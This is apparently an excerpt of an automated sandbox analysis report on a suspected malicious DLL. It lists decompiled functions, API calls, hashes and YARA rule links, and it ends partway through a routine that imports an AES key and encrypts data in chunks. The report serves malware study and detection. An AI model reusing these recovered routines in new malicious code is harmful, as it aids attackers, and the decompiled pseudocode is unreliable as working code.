                    • Opcode ID: 874c22f79bb750e6bf9ca51894856f16cbad497bac0c36f167bccf52a3f96c5f
                    • Instruction ID: 7a092eac3a499758c41feb0ff875ac270c8a3a55cec48f2ad903a708b3c8a117
                    • Opcode Fuzzy Hash: 874c22f79bb750e6bf9ca51894856f16cbad497bac0c36f167bccf52a3f96c5f
                    • Instruction Fuzzy Hash: 4FF0FE71A40242DBEB109FB8DD48F167BE4EF45399B34C81CF605D6261D771E8A0DB25
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB97AC6 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    • WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,6CB96A76,?,00000001,?,?,?,6CB95EDA,?,?,00000000), ref: 6CB97ADD
                    • GetLastError.KERNEL32(?,6CB96A76,?,00000001,?,?,?,6CB95EDA,?,?,00000000,?,?,?,6CB96461,?), ref: 6CB97AE9
                      • Part of subcall function 6CB97AAF: CloseHandle.KERNEL32(FFFFFFFE,6CB97AF9,?,6CB96A76,?,00000001,?,?,?,6CB95EDA,?,?,00000000,?,?), ref: 6CB97ABF
                    • ___initconout.LIBCMT ref: 6CB97AF9
                      • Part of subcall function 6CB97A71: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,6CB97AA0,6CB96A63,?,?,6CB95EDA,?,?,00000000,?), ref: 6CB97A84
                    • WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,6CB96A76,?,00000001,?,?,?,6CB95EDA,?,?,00000000,?), ref: 6CB97B0E
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
                    • String ID:
                    • API String ID: 2744216297-0
                    • Opcode ID: edbffd3b255c4f5d5387b73e90e299a86adf69e8d1e9f83985e509c1b068b5f5
                    • Instruction ID: 9c6c021e1d3f7c11bd12d83bd447a969295669f79631b3bb5616d5829410eb46
                    • Opcode Fuzzy Hash: edbffd3b255c4f5d5387b73e90e299a86adf69e8d1e9f83985e509c1b068b5f5
                    • Instruction Fuzzy Hash: 44F0AC36640268BBCF121FD6CC08A997F76FB4B3A5F054520FA1896620CA72C924DB95
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 027C607C Relevance: 6.0, APIs: 4, Instructions: 28sleepmemoryCOMMON
                    Download Yara Rule
                    C-Code - Quality: 37%
                    			E027C607C() {
				void* _v0;
				void** _t3;
				void** _t5;
				void** _t7;
				void** _t8;
				void* _t10;

				_t3 =  *0x27ca3cc; // 0x38c9600
				__imp__( &(_t3[0x10]));
				while(1) {
					_t5 =  *0x27ca3cc; // 0x38c9600
					_t1 =  &(_t5[0x16]); // 0x0
					if( *_t1 == 0) {
						break;
					}
					Sleep(0xa);
				}
				_t7 =  *0x27ca3cc; // 0x38c9600
				_t10 =  *_t7;
				if(_t10 != 0 && _t10 != 0x27cb142) {
					HeapFree( *0x27ca2d8, 0, _t10);
					_t7 =  *0x27ca3cc; // 0x38c9600
				}
				 *_t7 = _v0;
				_t8 =  &(_t7[0x10]);
				__imp__(_t8);
				return _t8;
			}









                    0x027c607c
                    0x027c6085
                    0x027c6095
                    0x027c6095
                    0x027c609a
                    0x027c609f
                    0x00000000
                    0x00000000
                    0x027c608f
                    0x027c608f
                    0x027c60a1
                    0x027c60a6
                    0x027c60aa
                    0x027c60bd
                    0x027c60c3
                    0x027c60c3
                    0x027c60cc
                    0x027c60ce
                    0x027c60d2
                    0x027c60d8

                    APIs
                    • RtlEnterCriticalSection.NTDLL(038C95C0), ref: 027C6085
                    • Sleep.KERNEL32(0000000A), ref: 027C608F
                    • HeapFree.KERNEL32(00000000), ref: 027C60BD
                    • RtlLeaveCriticalSection.NTDLL(038C95C0), ref: 027C60D2
                    Memory Dump Source
                    • Source File: 00000000.00000002.637526622.00000000027C1000.00000020.10000000.00040000.00000000.sdmp, Offset: 027C0000, based on PE: true
                    • Associated: 00000000.00000002.637514529.00000000027C0000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637554686.00000000027C9000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637566519.00000000027CA000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637576759.00000000027CC000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_27c0000_loaddll32.jbxd
                    Similarity
                    • API ID: CriticalSection$EnterFreeHeapLeaveSleep
                    • String ID:
                    • API String ID: 58946197-0
                    • Opcode ID: 70963b75a2f9eab4fb35ca77afbd8a3cc0c0216a39eae676d2e61d390298bb86
                    • Instruction ID: 4b7da8b09367ace90a4ad11cd831179ddfb8da0464e9fdfcf9cb18c586551ba8
                    • Opcode Fuzzy Hash: 70963b75a2f9eab4fb35ca77afbd8a3cc0c0216a39eae676d2e61d390298bb86
                    • Instruction Fuzzy Hash: BAF0DA74A80202DBE7148F78D899E2577B5EB84716B34C91CE902D7390D730A8A4CA15
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB75000 Relevance: 6.0, APIs: 4, Instructions: 18COMMON
                    Download Yara Rule
                    APIs
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: task
                    • String ID:
                    • API String ID: 1384045349-0
                    • Opcode ID: 7b726f2fd149dc91478ab792f770a831f01d63cc2c788d9a646f4db085fd1cac
                    • Instruction ID: d771c5b18b5fc9ac3a8a1f9b9267197e908688ae6e314e0353e955241289206a
                    • Opcode Fuzzy Hash: 7b726f2fd149dc91478ab792f770a831f01d63cc2c788d9a646f4db085fd1cac
                    • Instruction Fuzzy Hash: D1D01234A14088E78B18DBD8DA655AEB376DF90209B50009CD81617742CF341F1597A6
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB76102 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 117COMMON
                    Download Yara Rule
                    APIs
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: task
                    • String ID: OvuFWqhcmBZM
                    • API String ID: 1384045349-1342119270
                    • Opcode ID: 142485e734d810778dd58ca070c9c3b70803c959e4636a2e2b88c300dfdbef0b
                    • Instruction ID: 8f11ffc2f99def2fd1230f3333e79a5dea700b50a7610ea4022065c926b8bc24
                    • Opcode Fuzzy Hash: 142485e734d810778dd58ca070c9c3b70803c959e4636a2e2b88c300dfdbef0b
                    • Instruction Fuzzy Hash: 035138B1D112989BCB24DB64CC90FEEB7B5BF45304F044199EA19B7681EB306E88CF65
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB8DC3A Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    • EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 6CB8DC5F
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: EncodePointer
                    • String ID: MOC$RCC
                    • API String ID: 2118026453-2084237596
                    • Opcode ID: 42c5b831b033560fe41b530d7a063653dba295832c4efa4ad70cbe3c69e23dfa
                    • Instruction ID: 95f84ebc8abe14807c2aafa4e05f20e1562ee587a1c5306dfd5b590ddb0bbf28
                    • Opcode Fuzzy Hash: 42c5b831b033560fe41b530d7a063653dba295832c4efa4ad70cbe3c69e23dfa
                    • Instruction Fuzzy Hash: BE41587290124AAFCF05CFA4ED80AEE7BB5FF48308F14815AF918A7661D3359950DF92
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB7EAA3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67stringCOMMON
                    Download Yara Rule
                    APIs
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: lstrcmpitask
                    • String ID: mCREWPpmPvt
                    • API String ID: 1216711452-541074995
                    • Opcode ID: 58abad5cdf283baa186e89c81dd48238610fec4d38dd2bbec71c9cd3ea387821
                    • Instruction ID: 2f70087e6b27bbafe0cad13cdae4845295a0cd5d9afc6fb77a4e81d202e11b0e
                    • Opcode Fuzzy Hash: 58abad5cdf283baa186e89c81dd48238610fec4d38dd2bbec71c9cd3ea387821
                    • Instruction Fuzzy Hash: 5831F670E05199CFDF24DF68CD94BEE7771BB41309F0401AAD4196BA80DB75AA84CFA2
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB755E6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52COMMON
                    Download Yara Rule
                    APIs
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: task
                    • String ID: BFSxlc
                    • API String ID: 1384045349-3125291712
                    • Opcode ID: 3c367bd4d0d83688aa01059fa0e85fb3cfd36074046ea8efceb3c47ec8b84ab3
                    • Instruction ID: 7b33b116bb52a1f69bd9b065fb751564b285a9b6bbc707a7686995f2cd44d3b1
                    • Opcode Fuzzy Hash: 3c367bd4d0d83688aa01059fa0e85fb3cfd36074046ea8efceb3c47ec8b84ab3
                    • Instruction Fuzzy Hash: BF2144749082A8CBCF24DBA4CC60BEEB7B5AF09304F0441E9C949A3740DB345A88CF62
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB75703 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52COMMON
                    Download Yara Rule
                    APIs
                    Strings
                    • StELwKyogrHwiitXtczXJeXYd, xrefs: 6CB7571F
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: task
                    • String ID: StELwKyogrHwiitXtczXJeXYd
                    • API String ID: 1384045349-3996617511
                    • Opcode ID: 9b9f1502b9d356fd14f02d2d845df3be8f570b0771ebf98faca25819c8074732
                    • Instruction ID: 7f0322b727cd67e4a928641f5ca5969c12871c88474356e78906a6489f0515c9
                    • Opcode Fuzzy Hash: 9b9f1502b9d356fd14f02d2d845df3be8f570b0771ebf98faca25819c8074732
                    • Instruction Fuzzy Hash: 80211375D06198CADB29CBA8C990BEEB7B8AF19304F1441EAD55A73740DB301E88CF75
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB884D4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON
                    Download Yara Rule
                    APIs
                    Strings
                    • lOTfVeILEfhYsmZqEjtsxncTukIC, xrefs: 6CB8857A
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: task
                    • String ID: lOTfVeILEfhYsmZqEjtsxncTukIC
                    • API String ID: 1384045349-1620154734
                    • Opcode ID: 1e4b41f5a7670e8680798b377f9317c95f4cb07f891acfacf524f7d5c5a55169
                    • Instruction ID: 5ca20e275c3f12cfcd5b0befdeb73dfdb50c34936f22dafbb2f8ec8ac3c26dc2
                    • Opcode Fuzzy Hash: 1e4b41f5a7670e8680798b377f9317c95f4cb07f891acfacf524f7d5c5a55169
                    • Instruction Fuzzy Hash: 26212C71D111D88BCF39CBA4CC90AEDB778AF19205F1441D9D52A63751EB301B88CF61
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 027C2058 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON
                    Download Yara Rule
                    C-Code - Quality: 58%
                    			E027C2058(void* __eax, void* __ecx, void* _a4, void** _a8, intOrPtr* _a12) {
				intOrPtr* _v8;
				void* _t17;
				intOrPtr* _t22;
				void* _t27;
				char* _t30;
				void* _t33;
				void* _t34;
				void* _t36;
				void* _t37;
				void* _t39;
				int _t42;

				_t17 = __eax;
				_t37 = 0;
				__imp__(_a4, _t33, _t36, _t27, __ecx);
				_t2 = _t17 + 1; // 0x1
				_t28 = _t2;
				_t34 = E027C33DC(_t2);
				if(_t34 != 0) {
					_t30 = E027C33DC(_t28);
					if(_t30 == 0) {
						E027C61DA(_t34);
					} else {
						_t39 = _a4;
						_t22 = E027C7AE9(_t39);
						_v8 = _t22;
						if(_t22 == 0 ||  *_t22 !=  *((intOrPtr*)(_t22 + 1))) {
							_a4 = _t39;
						} else {
							_t26 = _t22 + 2;
							_a4 = _t22 + 2;
							_t22 = E027C7AE9(_t26);
							_v8 = _t22;
						}
						if(_t22 == 0) {
							__imp__(_t34, _a4);
							 *_t30 = 0x2f;
							 *((char*)(_t30 + 1)) = 0;
						} else {
							_t42 = _t22 - _a4;
							memcpy(_t34, _a4, _t42);
							 *((char*)(_t34 + _t42)) = 0;
							__imp__(_t30, _v8);
						}
						 *_a8 = _t34;
						_t37 = 1;
						 *_a12 = _t30;
					}
				}
				return _t37;
			}














                    0x027c2058
                    0x027c2062
                    0x027c2064
                    0x027c206a
                    0x027c206a
                    0x027c2073
                    0x027c2077
                    0x027c2083
                    0x027c2087
                    0x027c20fb
                    0x027c2089
                    0x027c2089
                    0x027c208d
                    0x027c2092
                    0x027c2097
                    0x027c20b1
                    0x027c20a0
                    0x027c20a0
                    0x027c20a4
                    0x027c20a7
                    0x027c20ac
                    0x027c20ac
                    0x027c20b6
                    0x027c20de
                    0x027c20e4
                    0x027c20e7
                    0x027c20b8
                    0x027c20ba
                    0x027c20c2
                    0x027c20cd
                    0x027c20d2
                    0x027c20d2
                    0x027c20ee
                    0x027c20f5
                    0x027c20f6
                    0x027c20f6
                    0x027c2087
                    0x027c2106

                    APIs
                    • lstrlen.KERNEL32(00000000,00000008,?,74CB4D40,?,?,027C51F7,?,?,?,?,00000102,027C21E7,?,?,74CF81D0), ref: 027C2064
                      • Part of subcall function 027C33DC: RtlAllocateHeap.NTDLL(00000000,00000000,027C62F6), ref: 027C33E8
                      • Part of subcall function 027C7AE9: StrChrA.SHLWAPI(?,0000002F,00000000,00000000,027C2092,00000000,00000001,00000001,?,?,027C51F7,?,?,?,?,00000102), ref: 027C7AF7
                      • Part of subcall function 027C7AE9: StrChrA.SHLWAPI(?,0000003F,?,?,027C51F7,?,?,?,?,00000102,027C21E7,?,?,74CF81D0,00000000), ref: 027C7B01
                    • memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,027C51F7,?,?,?,?,00000102,027C21E7,?), ref: 027C20C2
                    • lstrcpy.KERNEL32(00000000,00000000), ref: 027C20D2
                    • lstrcpy.KERNEL32(00000000,00000000), ref: 027C20DE
                    Memory Dump Source
                    • Source File: 00000000.00000002.637526622.00000000027C1000.00000020.10000000.00040000.00000000.sdmp, Offset: 027C0000, based on PE: true
                    • Associated: 00000000.00000002.637514529.00000000027C0000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637554686.00000000027C9000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637566519.00000000027CA000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637576759.00000000027CC000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_27c0000_loaddll32.jbxd
                    Similarity
                    • API ID: lstrcpy$AllocateHeaplstrlenmemcpy
                    • String ID:
                    • API String ID: 3767559652-0
                    • Opcode ID: 299c1f3593db89aef51bce26f76cc9ae9a3ad8ea62476f6e972d50375db4351e
                    • Instruction ID: 3b6370e9bf2707e41824feeebdd45eeced835cbdfdda05bc1731de65c1265b7a
                    • Opcode Fuzzy Hash: 299c1f3593db89aef51bce26f76cc9ae9a3ad8ea62476f6e972d50375db4351e
                    • Instruction Fuzzy Hash: EF219371500256EFCB125F78CC48BAEBFB9AF45360B24805DFD059B202DB31D991CBA1
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 027C5DE4 Relevance: 5.0, APIs: 4, Instructions: 39stringCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E027C5DE4(void* __ecx, WCHAR* _a4, WCHAR* _a8) {
				void* _v8;
				void* _t18;
				int _t25;
				int _t29;
				int _t34;

				_t29 = lstrlenW(_a4);
				_t25 = lstrlenW(_a8);
				_t18 = E027C33DC(_t25 + _t29 + _t25 + _t29 + 2);
				_v8 = _t18;
				if(_t18 != 0) {
					_t34 = _t29 + _t29;
					memcpy(_t18, _a4, _t34);
					_t10 = _t25 + 2; // 0x2
					memcpy(_v8 + _t34, _a8, _t25 + _t10);
				}
				return _v8;
			}








                    0x027c5df9
                    0x027c5dfd
                    0x027c5e07
                    0x027c5e0c
                    0x027c5e11
                    0x027c5e13
                    0x027c5e1b
                    0x027c5e20
                    0x027c5e2e
                    0x027c5e33
                    0x027c5e3d

                    APIs
                    • lstrlenW.KERNEL32(004F0053,?,74CB5520,00000008,038C9270,?,027C52D0,004F0053,038C9270,?,?,?,?,?,?,027C68B6), ref: 027C5DF4
                    • lstrlenW.KERNEL32(027C52D0,?,027C52D0,004F0053,038C9270,?,?,?,?,?,?,027C68B6), ref: 027C5DFB
                      • Part of subcall function 027C33DC: RtlAllocateHeap.NTDLL(00000000,00000000,027C62F6), ref: 027C33E8
                    • memcpy.NTDLL(00000000,004F0053,74CB69A0,?,?,027C52D0,004F0053,038C9270,?,?,?,?,?,?,027C68B6), ref: 027C5E1B
                    • memcpy.NTDLL(74CB69A0,027C52D0,00000002,00000000,004F0053,74CB69A0,?,?,027C52D0,004F0053,038C9270), ref: 027C5E2E
                    Memory Dump Source
                    • Source File: 00000000.00000002.637526622.00000000027C1000.00000020.10000000.00040000.00000000.sdmp, Offset: 027C0000, based on PE: true
                    • Associated: 00000000.00000002.637514529.00000000027C0000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637554686.00000000027C9000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637566519.00000000027CA000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637576759.00000000027CC000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_27c0000_loaddll32.jbxd
                    Similarity
                    • API ID: lstrlenmemcpy$AllocateHeap
                    • String ID:
                    • API String ID: 2411391700-0
                    • Opcode ID: 109761c7b866096c30f1f024010f9c8d5e69a4d8e11b31215b2c4f4a22219d56
                    • Instruction ID: 6891927cffa9bf5efff36fdf4a3c0baf03d6bafe3f243ecd579959b1ee6be084
                    • Opcode Fuzzy Hash: 109761c7b866096c30f1f024010f9c8d5e69a4d8e11b31215b2c4f4a22219d56
                    • Instruction Fuzzy Hash: 3DF04472900119FBCF12DFA4CC48CDE7BADEF48354761406AED04D7201E731EA108BA0
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 027C7563 Relevance: 5.0, APIs: 4, Instructions: 27stringCOMMON
                    Download Yara Rule
                    APIs
                    • lstrlen.KERNEL32(038C9BD0,00000000,00000000,00000000,027C3EF9,00000000), ref: 027C7573
                    • lstrlen.KERNEL32(?), ref: 027C757B
                      • Part of subcall function 027C33DC: RtlAllocateHeap.NTDLL(00000000,00000000,027C62F6), ref: 027C33E8
                    • lstrcpy.KERNEL32(00000000,038C9BD0), ref: 027C758F
                    • lstrcat.KERNEL32(00000000,?), ref: 027C759A
                    Memory Dump Source
                    • Source File: 00000000.00000002.637526622.00000000027C1000.00000020.10000000.00040000.00000000.sdmp, Offset: 027C0000, based on PE: true
                    • Associated: 00000000.00000002.637514529.00000000027C0000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637554686.00000000027C9000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637566519.00000000027CA000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637576759.00000000027CC000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_27c0000_loaddll32.jbxd
                    Similarity
                    • API ID: lstrlen$AllocateHeaplstrcatlstrcpy
                    • String ID:
                    • API String ID: 74227042-0
                    • Opcode ID: b381c00ae564edf589b0b3ae7aa53478a041616118d1f8b6753c662762b5881b
                    • Instruction ID: 9b9c4d652d68381bccdd66d98d979fde765ab18dc183d53ca5e64bbb837a986b
                    • Opcode Fuzzy Hash: b381c00ae564edf589b0b3ae7aa53478a041616118d1f8b6753c662762b5881b
                    • Instruction Fuzzy Hash: C1E0ED73901625AB87516AB8AC48C6BBAADFE89761714881EF600D3100DB7599118BA5
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Executed Functions

                    Function 00D81508 Relevance: 18.2, APIs: 12, Instructions: 163encryptionCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 107 d81508-d81548 CryptAcquireContextW 108 d8154e-d8158a memcpy CryptImportKey 107->108 109 d8169f-d816a5 GetLastError 107->109 111 d8168a-d81690 GetLastError 108->111 112 d81590-d815a2 CryptSetKeyParam 108->112 110 d816a8-d816af 109->110 113 d81693-d8169d CryptReleaseContext 111->113 114 d815a8-d815b1 112->114 115 d81676-d8167c GetLastError 112->115 113->110 116 d815b9-d815c6 call d833dc 114->116 117 d815b3-d815b5 114->117 118 d8167f-d81688 CryptDestroyKey 115->118 122 d815cc-d815d5 116->122 123 d8166d-d81674 116->123 117->116 119 d815b7 117->119 118->113 119->116 124 d815d8-d815e0 122->124 123->118 125 d815e2 124->125 126 d815e5-d81602 memcpy 124->126 125->126 127 d8161d-d81629 126->127 128 d81604-d8161b CryptEncrypt 126->128 129 d81632-d81634 127->129 128->129 130 d81644-d8164f GetLastError 129->130 131 d81636-d81640 129->131 133 d81651-d81661 130->133 134 d81663-d8166b call d861da 130->134 131->124 132 d81642 131->132 132->133 133->118 134->118
                    C-Code - Quality: 50%
                    			E00D81508(int __eax, intOrPtr _a4, int _a8, void* _a12, intOrPtr* _a16, intOrPtr* _a20) {
				int _v8;
				long* _v12;
				int _v16;
				void* _v20;
				long* _v24;
				void* _v39;
				char _v40;
				void _v56;
				int _v60;
				intOrPtr _v64;
				void _v67;
				char _v68;
				void* _t61;
				int _t68;
				signed int _t76;
				int _t79;
				int _t81;
				void* _t85;
				long _t86;
				int _t90;
				signed int _t94;
				int _t101;
				void* _t102;
				int _t103;
				void* _t104;
				void* _t105;
				void* _t106;

				_t103 = __eax;
				_t94 = 6;
				_v68 = 0;
				memset( &_v67, 0, _t94 << 2);
				_t105 = _t104 + 0xc;
				asm("stosw");
				asm("stosb");
				_v40 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				asm("stosb");
				_t61 =  *0xd8a0e8( &_v24, 0, 0, 0x18, 0xf0000000); // executed
				if(_t61 == 0) {
					_a8 = GetLastError();
				} else {
					_t101 = 0x10;
					memcpy( &_v56, _a8, _t101);
					_t106 = _t105 + 0xc;
					_v60 = _t101;
					_v67 = 2;
					_v64 = 0x660e;
					_v68 = 8;
					_t68 = CryptImportKey(_v24,  &_v68, 0x1c, 0, 0,  &_v12); // executed
					if(_t68 == 0) {
						_a8 = GetLastError();
					} else {
						_push(0);
						_push( &_v40);
						_push(1);
						_push(_v12);
						if( *0xd8a0e4() == 0) {
							_a8 = GetLastError();
						} else {
							_t18 = _t103 + 0xf; // 0x10
							_t76 = _t18 & 0xfffffff0;
							if(_a4 != 0 && _t76 == _t103) {
								_t76 = _t76 + _t101;
							}
							_t102 = E00D833DC(_t76);
							_v20 = _t102;
							if(_t102 == 0) {
								_a8 = 8;
							} else {
								_v16 = 0;
								_a8 = 0;
								while(1) {
									_t79 = 0x10;
									_v8 = _t79;
									if(_t103 <= _t79) {
										_v8 = _t103;
									}
									memcpy(_t102, _a12, _v8);
									_t81 = _v8;
									_a12 = _a12 + _t81;
									_t103 = _t103 - _t81;
									_t106 = _t106 + 0xc;
									if(_a4 == 0) {
